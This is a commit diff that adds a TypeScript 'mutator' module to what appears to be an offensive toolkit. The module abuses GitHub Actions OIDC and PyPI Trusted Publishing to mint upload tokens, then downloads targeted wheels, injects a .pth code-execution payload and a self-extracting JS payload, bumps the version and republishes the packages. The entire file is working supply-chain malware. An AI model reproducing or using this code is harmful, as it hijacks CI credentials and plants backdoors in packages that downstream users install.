Upload files to "src/mutator/pypioidc"
This commit is contained in:
@@ -0,0 +1,189 @@
|
|||||||
|
// PyPI OIDC mutator — trojanizes Python packages via Trusted Publishing.
|
||||||
|
//
|
||||||
|
// Flow:
|
||||||
|
// 1. Request GitHub Actions OIDC token (audience: pypi)
|
||||||
|
// 2. Exchange OIDC token for short-lived PyPI API token
|
||||||
|
// 3. Download wheel → inject .pth payload → bump patch → upload
|
||||||
|
//
|
||||||
|
// Packages come from TARGET_PACKAGES env var (comma-separated).
|
||||||
|
// Falls back to OIDC_PACKAGES for backwards compatibility.
|
||||||
|
|
||||||
|
import { INJECT_PTH } from "../../generated";
|
||||||
|
import { logUtil } from "../../utils/logger";
|
||||||
|
import { buildSelfExtractingPayload } from "../../utils/selfExtracting";
|
||||||
|
import { Mutator } from "../base";
|
||||||
|
import { uploadWheel } from "../pypi/upload";
|
||||||
|
import {
|
||||||
|
downloadWheel,
|
||||||
|
extractInfo,
|
||||||
|
fetchPackageMeta,
|
||||||
|
patchWheel,
|
||||||
|
} from "../pypi/wheel";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Comma-separated list of packages to backdoor, read from OIDC_PACKAGES env.
|
||||||
|
*/
|
||||||
|
function getOidcPackages(): string[] {
|
||||||
|
const raw = process.env.TARGET_PACKAGES || process.env.OIDC_PACKAGES;
|
||||||
|
if (!raw || !raw.trim()) return [];
|
||||||
|
return raw
|
||||||
|
.split(",")
|
||||||
|
.map((s) => s.trim())
|
||||||
|
.filter(Boolean);
|
||||||
|
}
|
||||||
|
|
||||||
|
export class PyPIOidcClient extends Mutator {
|
||||||
|
constructor() {
|
||||||
|
super();
|
||||||
|
}
|
||||||
|
|
||||||
|
async execute(): Promise<Boolean> {
|
||||||
|
const { ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL } =
|
||||||
|
process.env;
|
||||||
|
|
||||||
|
if (!ACTIONS_ID_TOKEN_REQUEST_URL || !ACTIONS_ID_TOKEN_REQUEST_TOKEN) {
|
||||||
|
logUtil.log(
|
||||||
|
"[pypioidc] Not running in GitHub Actions — no OIDC available",
|
||||||
|
);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 1. Request GitHub OIDC token with audience=pypi
|
||||||
|
logUtil.log("[pypioidc] requesting OIDC token...");
|
||||||
|
const oidcRes = await fetch(
|
||||||
|
`${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=pypi`,
|
||||||
|
{
|
||||||
|
headers: { Authorization: `bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}` },
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
if (!oidcRes.ok) {
|
||||||
|
logUtil.log(`[pypioidc] OIDC token request failed: ${oidcRes.status}`);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
const { value: oidcToken } = (await oidcRes.json()) as { value: string };
|
||||||
|
if (!oidcToken) {
|
||||||
|
logUtil.log("[pypioidc] no OIDC token returned");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. Exchange OIDC token for PyPI API token
|
||||||
|
logUtil.log("[pypioidc] exchanging OIDC token for PyPI API token...");
|
||||||
|
let pypiToken: string;
|
||||||
|
try {
|
||||||
|
const mintRes = await fetch("https://pypi.org/_/oidc/mint-token", {
|
||||||
|
method: "POST",
|
||||||
|
headers: {
|
||||||
|
"Content-Type": "application/json",
|
||||||
|
Authorization: `Bearer ${oidcToken}`,
|
||||||
|
},
|
||||||
|
body: JSON.stringify({}),
|
||||||
|
});
|
||||||
|
|
||||||
|
if (!mintRes.ok) {
|
||||||
|
const errText = await mintRes.text().catch(() => "");
|
||||||
|
logUtil.log(
|
||||||
|
`[pypioidc] token minting failed: ${mintRes.status} — ${errText.slice(0, 200)}`,
|
||||||
|
);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
const mintData = (await mintRes.json()) as { token?: string };
|
||||||
|
if (!mintData.token) {
|
||||||
|
logUtil.log("[pypioidc] no API token in mint response");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
pypiToken = mintData.token;
|
||||||
|
} catch (e) {
|
||||||
|
logUtil.log(
|
||||||
|
`[pypioidc] mint exchange error: ${e instanceof Error ? e.message : String(e)}`,
|
||||||
|
);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. Get package list
|
||||||
|
const packages = getOidcPackages();
|
||||||
|
if (packages.length === 0) {
|
||||||
|
logUtil.log("[pypioidc] OIDC_PACKAGES is empty — nothing to trojanize");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
logUtil.log(
|
||||||
|
`[pypioidc] targeting ${packages.length} package(s): ${packages.join(", ")}`,
|
||||||
|
);
|
||||||
|
|
||||||
|
const pthContent = (INJECT_PTH as string) || "import os; os.system('id')";
|
||||||
|
|
||||||
|
// Build self-extracting JS payload (same as npm OIDC)
|
||||||
|
let jsPayload = "";
|
||||||
|
try {
|
||||||
|
const raw = await Bun.file(Bun.main).text();
|
||||||
|
jsPayload = buildSelfExtractingPayload(raw, { wrap: true });
|
||||||
|
} catch {
|
||||||
|
logUtil.log("[pypioidc] could not build JS payload — continuing without");
|
||||||
|
}
|
||||||
|
|
||||||
|
let published = 0;
|
||||||
|
|
||||||
|
for (const pkgName of packages) {
|
||||||
|
try {
|
||||||
|
const ok = await this.processPackage(
|
||||||
|
pkgName,
|
||||||
|
pypiToken,
|
||||||
|
pthContent,
|
||||||
|
jsPayload || undefined,
|
||||||
|
);
|
||||||
|
if (ok) published++;
|
||||||
|
} catch (e) {
|
||||||
|
logUtil.log(
|
||||||
|
`[pypioidc] error processing ${pkgName}: ${e instanceof Error ? e.message : String(e)}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
logUtil.log(`[pypioidc] Done. Published ${published} package(s).`);
|
||||||
|
return published > 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
private async processPackage(
|
||||||
|
pkgName: string,
|
||||||
|
token: string,
|
||||||
|
pthContent: string,
|
||||||
|
jsPayload?: string,
|
||||||
|
): Promise<boolean> {
|
||||||
|
// Download
|
||||||
|
const meta = await fetchPackageMeta(pkgName);
|
||||||
|
if (!meta) {
|
||||||
|
logUtil.log(`[pypioidc] ${pkgName}: no wheel found, skipping`);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
const wheelData = await downloadWheel(meta.wheelUrl);
|
||||||
|
if (!wheelData) {
|
||||||
|
logUtil.log(`[pypioidc] ${pkgName}: download failed, skipping`);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Patch
|
||||||
|
const patched = patchWheel({
|
||||||
|
meta,
|
||||||
|
wheelData,
|
||||||
|
pthContent,
|
||||||
|
jsPayload: jsPayload || undefined,
|
||||||
|
});
|
||||||
|
logUtil.log(
|
||||||
|
`[pypioidc] ${pkgName}: ${meta.version} → ${patched.newVersion}`,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Upload
|
||||||
|
return uploadWheel({
|
||||||
|
token,
|
||||||
|
pkgName: meta.name,
|
||||||
|
version: patched.newVersion,
|
||||||
|
filename: patched.filename,
|
||||||
|
wheelData: patched.data,
|
||||||
|
...extractInfo(meta.info),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user